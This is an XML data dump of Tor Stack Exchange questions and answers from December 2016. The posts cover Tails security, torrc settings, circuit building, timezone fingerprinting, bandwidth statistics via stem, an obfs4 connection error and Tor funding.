  <row Id="13481" PostTypeId="2" ParentId="13474" CreationDate="2016-12-23T03:20:56.673" Score="2" Body="&lt;p&gt;Correct however anyone with access to the physical media need not set the administartor password to gain the equivalent of root access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that perspective disabling the ability to ever be root would break the experience of more advanced Tails users while also not stopping an adversary with physical access to the boot media from exploiting it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Gaining physical access to the boot media gives them only the ability to tamper with the live system, which only contains a stock Tails image, there is no user stored information available.&lt;/li&gt;&#xA;&lt;li&gt;Anyone who was able to access the media to boot from it would be able to far more easily tamper with the boot sector instead of having to login to Tails, providing them with a more powerful and simpler means to subvert the users operating system.&lt;/li&gt;&#xA;&lt;li&gt;This actually applies to most operating systems, from Microsoft's Ten Immutable Laws Of Security: &lt;a href=&quot;https://technet.microsoft.com/en-us/library/hh278941.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Law #2: If a bad guy can alter the operating system on your computer, it's not your computer anymore.&quot;&lt;/a&gt; While the attack surface for any adversary has been reduced this is still mostly true today for almost all operating systems and computers and defending against it is expensive, limited and difficult.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, if someone was able to gain physical access they could not access your Encrypted Persistent Storage because it is encrypted. Unless they had knowledge of the passphrase to unlock the persistent volume, or the passphrase for the persistent volume was sufficiently weak that they could guess it efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead they'd take the approach of tampering with the boot process and subverting the Linux kernel before it was able to start, in this way they could use it to keylog your entry of the passphrase and later decrypt the persistent storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep your Tails boot media safe:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Don't plug it into untrusted hardware&lt;/a&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This would be a vector for lateral movement, for an attacker to move from that system and infect your Tails installation.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index1h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Don't boot it on untrusted systems&lt;/a&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See above.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Don't leave it in places where you think it might be tampered with.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't use an untrusted USB device as your Tails boot media.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A USB with maliciously altered firmware could perform the aforementioned attacks regardless of the Tails installation itself being good and untampered.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do try to keep your boot media safe and either in use, in a safe storage place or on your person.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index12h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Do use strong passphrases even if you try to keep your boot media out of malicious hands.&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-23T03:20:56.673" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13482" PostTypeId="2" ParentId="13476" CreationDate="2016-12-23T03:36:53.917" Score="1" Body="&lt;p&gt;You cannot, the persistent storage does not cater to this kind of editing, for good reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ability to edit persistence is something that can be done from the &lt;code&gt;amnesia&lt;/code&gt; user. This user is intentionally unprivileged by default. If the &lt;code&gt;amnesia&lt;/code&gt; user was able to make persistent changes to &lt;code&gt;torrc&lt;/code&gt; this would allow an attacker who managed to exploit a process running in the context of the &lt;code&gt;amnesia&lt;/code&gt; user to permenantly alter the state of the system and allow them to bypass the Tails' packetfilter rules, allowing them to make arbitrary outbound connections, effectively poking a hole in it's protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any changes to the filesystem (outside of the encrypted persistent storage) are only stored in ephemeral memory and are thus discarded on shutdown. The root filesystem itself it's stored in a squashfs file and is extracted on boot. While it's likely technically possible to open and manipulate the squashfs to make changes, it's possible that in doing so you'd accidentally break some more of Tails' protection (more so than you already are by editing the torrc and reducing your anonymity set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, it might be easier to approach the problem by &lt;a href=&quot;https://tails.boum.org/contribute/build/&quot; rel=&quot;nofollow noreferrer&quot;&gt;building your own Tails image&lt;/a&gt; and making your &lt;a href=&quot;https://tails.boum.org/contribute/customize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;customizations to it&lt;/a&gt; that way.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-23T03:36:53.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13483" PostTypeId="2" ParentId="13473" CreationDate="2016-12-23T04:05:26.903" Score="1" Body="&lt;p&gt;No, you cannot stop Tor from building single-hop circuits.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;All Tor circuits start out at 1 hop in length. Clearly, to build a circuit any circuit needs to start from the first hop to then negotiate with the next one. As such, all Tor circuits will always be, at some point, one hop in length.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When Tor first starts it does not know &lt;em&gt;any&lt;/em&gt; relays except those hardcoded into the &lt;code&gt;tor&lt;/code&gt; binary. These are the directory authorities and fallback directories. As such, when Tor first starts it has only one place to build a circuit to: one of the directory servers it knows about to fetch the consensus.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Since there are a limited set of Tor directory servers in the directory authority and fallback server set and Tor does not intend to hide the fact that users are using Tor there is no advantage for Tor to try to anonymize the directory fetch. &lt;em&gt;With one exception: Bridge users fetch the consensus from their bridges but that is to defeat censorship not to anonymize the directory fetch.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Editing those torrc options does &lt;em&gt;absolutely nothing&lt;/em&gt; since those options were already set anyway. As you were told when you &lt;a href=&quot;https://tor.stackexchange.com/a/13135/12737&quot;&gt;&lt;em&gt;last&lt;/em&gt; asked this &lt;em&gt;exact same question&lt;/em&gt;&lt;/a&gt;: they are the defaults.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Tor will not use single hop circuits in cases where it would break user anonymity to do so without the user explicitly asking Tor to do it by, for example, &lt;em&gt;randomly setting options that they do not understand&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-12-23T04:05:26.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="2" ParentId="13457" CreationDate="2016-12-23T07:30:39.440" Score="0" Body="&lt;p&gt;Yes, it's possible. The tunneling process( aka &quot;torification&quot;) uses exactly the same scripts and tools as the wired one: you can choose any of well-known ones like PORTAL or OnionPi - or create your own. But there're some tricks - I've figured them so far when I'm developing my solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WiFi interface can flap some times, i.e. when your usb dongle is too hot. To mitigate so - use ifup/ifdown scripts to add &lt;strong&gt;and&lt;/strong&gt; remove corresponding rules and/or restarting a sevices like DHCPD&lt;/li&gt;&#xA;&lt;li&gt;Hostapd and wifi drivers in Linux are too &quot;quiet&quot; about errors, especially when the dongle just hangs. Some dongles - like ath9k-based ones - need all the led's disabled &lt;em&gt;before&lt;/em&gt; starting hostapd - it prevent them from hanging dead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-23T07:30:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13486" PostTypeId="1" CreationDate="2016-12-23T18:27:17.677" Score="2" ViewCount="730" Body="&lt;p&gt;Is Tor Browser supposed/meant for daily day browsing? (watching youtube, news, stuff...)&lt;/p&gt;&#xA;" OwnerUserId="15576" LastActivityDate="2016-12-24T15:52:31.923" Title="Is Tor supposed for daily day browsing? (youtube, news, stuff...)" Tags="|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="2" ParentId="13406" CreationDate="2016-12-24T02:09:13.140" Score="1" Body="&lt;p&gt;Yes, bridge and pluggable transport users are able to provide onion services over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridge users are just taking some extra steps to pick their guard (the bridge), use their guard as their directory server and possibly to use a pluggable transport to transform the traffic while it traverses the network to the guard. Outside of that there is nothing fundamentally different with how Tor operates that would interfere with running an onion service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, pluggable transports are built to defeat DPI. That is, upon naive inspection by some algorithm it would not look like a Tor connection. It would likely not stand up to an in-depth analysis of the traffic. It would not be impossible for an observer to determine that it was communicating with the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-24T04:00:29.623" LastActivityDate="2016-12-24T04:00:29.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="2" ParentId="13470" CreationDate="2016-12-24T03:26:29.990" Score="2" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to run &quot;whonixsetup&quot; after adding your bridges to torrc and reload Tor afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, going through this should help you get along nicely: &lt;a href=&quot;https://www.whonix.org/wiki/Bridges#How_to_use_bridges_in_Whonix&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Bridges#How_to_use_bridges_in_Whonix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ego&lt;/p&gt;&#xA;" OwnerUserId="14536" LastActivityDate="2016-12-24T03:26:29.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13492" PostTypeId="2" ParentId="13486" CreationDate="2016-12-24T15:52:31.923" Score="1" Body="&lt;p&gt;Tor can be used for anything, may it be leaking secret documents or browsing YouTube. From my experience using Tor for everyday browsing is unnecessary because you can use a VPN (Virtual Private Network) which is faster than Tor. Also the No-script add on will block Youtube from playing unless specially configured. So, I don't think it necessary to use Tor for everyday because there are better solutions out there.    &lt;/p&gt;&#xA;" OwnerUserId="15583" LastActivityDate="2016-12-24T15:52:31.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="1" CreationDate="2016-12-24T16:08:34.507" Score="0" ViewCount="258" Body="&lt;p&gt;since the wifi that I am using does not allow me even to connect to my vpn, the only way that I have to visit facebook etc. is surfing with Tor browser, as I do on my laptop.&#xA;Is there a way to use the Tor network on my phone with windows phone 8.1?&lt;/p&gt;&#xA;" OwnerUserId="15584" LastActivityDate="2016-12-24T19:06:08.373" Title="how I use tor on windows phone?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13494" PostTypeId="2" ParentId="13493" CreationDate="2016-12-24T19:06:08.373" Score="1" Body="&lt;p&gt;There is currently no supported version of Tor or the Tor Browser that would allow you to connect to the Tor Network in Windows Phone. However, you can buy a Raspberry Pi and set it up as a Tor router, then to connect to that &quot;Torified&quot; Wifi.&lt;/p&gt;&#xA;" OwnerUserId="15587" LastActivityDate="2016-12-24T19:06:08.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13495" PostTypeId="1" CreationDate="2016-12-25T08:24:18.000" Score="0" ViewCount="633" Body="&lt;p&gt;Merry Christmas!&#xA;I would like to read Burmese websites written in Zawgyi-One font under the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I went to the settings for the Tor browser, I saw the font dialogue box. But, I did not see Zawgyi-One Myanmar font in the font list. I wonder if someone can help and show me how to add Zawgyi-One font in the font list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanking you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suan&lt;/p&gt;&#xA;" OwnerUserId="15590" LastActivityDate="2017-06-01T12:55:52.833" Title="How to add Zawgyi-One font to the font dialogue box in the Tor Browser?" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13496" PostTypeId="1" CreationDate="2016-12-25T16:43:48.513" Score="1" ViewCount="786" Body="&lt;p&gt;In order to watch videos with Tor, it seems to be necessary to turn off NoScript. However, this results in messages like transferring data from Google Analytics. So my question is: is it possible to only allow some scripts, necessary for watching videos, while disabling other, non-necessary scripts?&lt;/p&gt;&#xA;" OwnerUserId="15595" LastActivityDate="2016-12-26T05:09:44.293" Title="How to allow specific scripts in order to watch videos" Tags="|noscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13497" PostTypeId="1" CreationDate="2016-12-25T18:40:37.797" Score="0" ViewCount="129" Body="&lt;p&gt;How to see how much data (in Mo for download/upload) was sent through my Tor usage? I know that tor.exe in windows says how much data was sent if the connection is re-established, but does it store it somewhere? And I don't know how to look up this in Linux (which I'm using right now).&lt;/p&gt;&#xA;" OwnerUserId="15596" LastActivityDate="2017-01-25T13:44:36.970" Title="How to see how much data (in Mo for download/upload) was sent through my Tor usage?" Tags="|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13498" PostTypeId="1" CreationDate="2016-12-25T22:43:41.033" Score="1" ViewCount="676" Body="&lt;p&gt;I understand the Tor Browser uses the UTC timezone but what about the tor daemon? Should I change the timezone on my ubuntu laptop to UTC to help make my tor traffic less fingerprintable? It wouldn't effect my workflow too much. And I could probably hack together a conky profile to display my actual time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find documentation on the tor daemon timezone stuff? Any advise or documentation would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: oh! &lt;strong&gt;would changing my timezone negatively effect my VPN usage&lt;/strong&gt;? I usually connect to VPN first, then use tor. I know using VM/NAT is the safer alternative to changing my host timezone altogether. But I'm usually out with my smallest laptop (only 2GB RAM). VM isn't the most resource friendly option right now, even with xfce.&lt;/p&gt;&#xA;" OwnerUserId="15598" LastEditorUserId="15598" LastEditDate="2016-12-25T22:55:28.227" LastActivityDate="2016-12-27T16:49:04.380" Title="Should I change the timezone of my laptop to UTC?" Tags="|configuration|ubuntu|fingerprinting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13499" PostTypeId="2" ParentId="13498" CreationDate="2016-12-26T05:01:28.887" Score="-1" Body="&lt;p&gt;You can do it. Timezone is - actually - not a personal and/or fingerprinting data, i.e. I can have a GMT+5 TZ when I'm physically in GMT-1 one. UTC seems to be quite a normal choice, but you can safely use your convinient and/or real timezone. The profile usage you're speaking about is much greater deanonymising factor, that's where you should worry about leaks. A browser - via in-page JS or add-on JS can potentially leak your timezone, and it's basically not a problem. Make sure that you're running it on chrooted isolated unprivileged user - so you won't leak anything sensible.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-26T05:01:28.887" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13500" PostTypeId="2" ParentId="13497" CreationDate="2016-12-26T05:03:57.663" Score="0" Body="&lt;p&gt;It can be achieved via stem-using script. Tor itself makes some runtime data, but does not have a built-in extensive statistics module. You can regulary poll a Tor instance and collect data from running Tor instance and summarize it yourself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-26T05:03:57.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13501" PostTypeId="2" ParentId="9268" CreationDate="2016-12-26T05:08:28.097" Score="0" Body="&lt;p&gt;Flash is a plugin that requires the &lt;em&gt;separate binary executable container&lt;/em&gt; to run it, and this fact - regardless of the old NSAPI and other issues - is a big problem and leak source. Unless you're using an isolated and fully-routed VM - you should disable &lt;strong&gt;all&lt;/strong&gt; plugins of such kind, not just Adobe Flash&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-26T05:08:28.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13502" PostTypeId="2" ParentId="13496" CreationDate="2016-12-26T05:09:44.293" Score="-1" Body="&lt;p&gt;There's no way to allow &quot;just some in-page scripts&quot;: the JS itself contains tons of abilities for one script to add/load another one. So - either you block all of in-page JS, or you allow all of them.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-26T05:09:44.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13504" PostTypeId="2" ParentId="13497" CreationDate="2016-12-26T05:42:44.140" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ControlPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;control port&lt;/a&gt; provides two bits of information &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=13196900102ff5fb28aa4a5458a53a04971b0adf#n665&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;traffic/read&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=13196900102ff5fb28aa4a5458a53a04971b0adf#n667&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;traffic/written&lt;/code&gt;&lt;/a&gt; which can be queried by the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt?id=13196900102ff5fb28aa4a5458a53a04971b0adf#n484&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GETINFO&lt;/code&gt;&lt;/a&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will provide the traffic read and written by the Tor daemon since it was last launched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;stem&lt;/code&gt;&lt;/a&gt; library provides a simple interface to the control port illustrated in this example code to fetch these two values, from &lt;a href=&quot;https://stem.torproject.org/tutorials/the_little_relay_that_could.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()  # provide the password here if you set one&#xA;&#xA;  bytes_read = controller.get_info(&quot;traffic/read&quot;)&#xA;  bytes_written = controller.get_info(&quot;traffic/written&quot;)&#xA;&#xA;  print(&quot;My Tor relay has read %s bytes and written %s.&quot; % (bytes_read, bytes_written))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While it explicitly states relay, which is it's example use case, this also applies to clients. The above script assumes that Tor is running a control port on 9051/tcp on localhost.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-26T05:42:44.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13508" PostTypeId="1" CreationDate="2016-12-26T10:06:29.263" Score="1" ViewCount="1303" Body="&lt;p&gt;Tor seems to give me this error everytime I try to connect using obfs4. None of the provided bridges seem to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/26/2016 12:55:11 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:11 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:11 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:11 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/26/2016 12:55:12 PM.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12/26/2016 12:55:12 PM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12/26/2016 12:55:13 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/26/2016 12:55:13 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:13 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/26/2016 12:55:13 PM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12/26/2016 12:55:18 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:18 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;12/26/2016 12:55:18 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/26/2016 12:55:18 PM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/26/2016 12:55:27 PM.300 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;12/26/2016 12:55:46 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.9:12166 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:55:46 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:55:48 PM.600 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:55:48 PM.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:55:49 PM.300 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:00 PM.000 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:00 PM.000 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:00 PM.000 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:10 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:10 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:10 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.10:443 (&quot;general SOCKS server failure&quot;) &#xA;12/26/2016 12:56:14 PM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/26/2016 12:56:14 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;12/26/2016 12:56:14 PM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says disablenetwork is set a lot, but I don't know how to disable disablenetwork. &lt;/p&gt;&#xA;" OwnerUserId="15604" LastEditorUserId="17825" LastEditDate="2017-06-11T13:27:27.797" LastActivityDate="2020-04-27T06:04:20.360" Title="Can't start tor" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="2" ParentId="13497" CreationDate="2016-12-26T11:43:19.967" Score="1" Body="&lt;p&gt;This is already a built in feature in the &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;anonymizing relay monitor (Arm)&lt;/a&gt; which provides real time statistics for: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;bandwidth (upload/download), cpu and memory usage &lt;/li&gt;&#xA;&lt;li&gt;relay's current configuration&lt;/li&gt;&#xA;&lt;li&gt;logged events connection details (ip, hostname, fingerprint, and consensus data)&lt;/li&gt;&#xA;&lt;li&gt;...etc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XgXd2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XgXd2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Picture above for the case of a relay, but it also works for a client)&lt;/p&gt;&#xA;" OwnerUserId="15607" LastActivityDate="2016-12-26T11:43:19.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="2" ParentId="13403" CreationDate="2016-12-26T15:18:44.673" Score="1" Body="&lt;p&gt;I guess it's the 5 x 100Mbits exit relay servers, which would offer more circuits for a great bandwidth&lt;/p&gt;&#xA;" OwnerUserId="15609" LastActivityDate="2016-12-26T15:18:44.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="2" ParentId="13498" CreationDate="2016-12-27T16:38:19.800" Score="1" Body="&lt;p&gt;The Tor daemon doesn't leak timezone, if it did it would split users anonymity sets. Relays shouldn't be able to distinguish sets of users, this would allow them to and would break some of the protections of the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you use other applications with Tor you may wish to set your timezone to UTC. This is a protection that anonymous operating systems, like Tails, use to reduce the risk posed by any such leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most, if not all, computers work in UTC. Only users are concerned with timezone, so it's only user facing aspects of it that would be affected. For example, the Tor daemon doesn't leak your timezone as any part of the protocol but the log it outputs does because the user has to understand the timestamps on the events that it logs.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-27T16:49:04.380" LastActivityDate="2016-12-27T16:49:04.380" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13517" PostTypeId="1" CreationDate="2016-12-27T17:53:54.127" Score="1" ViewCount="57" Body="&lt;p&gt;I want to use Firefox (50.1.0) with TOR on Windows 10, so installed TOR, but then realised Firefox was not using it.  Then I ran Blackbelt to configure Firefox for me, but the icon that put on my desktop did not activate TOR.  So I went through the manual procedure to set up Firefox (SockHost 127.0.0.1, port 9150, no proxy for 127.0.0.1.  There was no checkbox for Remote DNS) but when I run Firefox, Google claims there's unusual activity and makes me repeatedly jump through a Captcha 'not a robot' hoop.  I've obviously got something wrong and my internet requests are getting garbled, but how do I sort this out?  Right now I've set Firefox back to the default, so I can at least get to the net.&lt;/p&gt;&#xA;" OwnerUserId="15621" LastActivityDate="2016-12-27T17:53:54.127" Title="I can't make firefox work with TOR" Tags="|firefox|" AnswerCount="0" CommentCount="5" ClosedDate="2017-01-02T18:50:22.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="1" CreationDate="2016-12-27T21:40:31.307" Score="1" ViewCount="187" Body="&lt;p&gt;I have read on this stack that TOR is funded in major by USA government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same government which we may read and watch incredibly untrustful operation about. Is that reliable source of funding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any proof that the government or its instruments are not asking the reward for donation ? In case of look into some informations that may blame anonimity ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have been thinking about such a topic and made reliable discussion or text about ? If yes please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Why someone have wrote on wikipedia regarding the bitcoin's page such a sentance &quot;Since most darknet markets run through Tor, they can be found with relative ease on public domains.&quot;.&#xA;This is written in paragraph 3.4 on this site: &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptocurrency&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Cryptocurrency&lt;/a&gt;&#xA;I am tired, maybe I understood wrongly this, but I believed that the only one way to detect someone's real identity behing TOR is traffic analysis. And this is not so easy. Please someone may explain me this shortly or let me read something on that issue ?&lt;/p&gt;&#xA;" OwnerUserId="15624" LastEditorUserId="15624" LastEditDate="2017-03-03T22:26:03.493" LastActivityDate="2017-03-03T22:26:03.493" Title="Isn't funding of TOR a suspicious?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
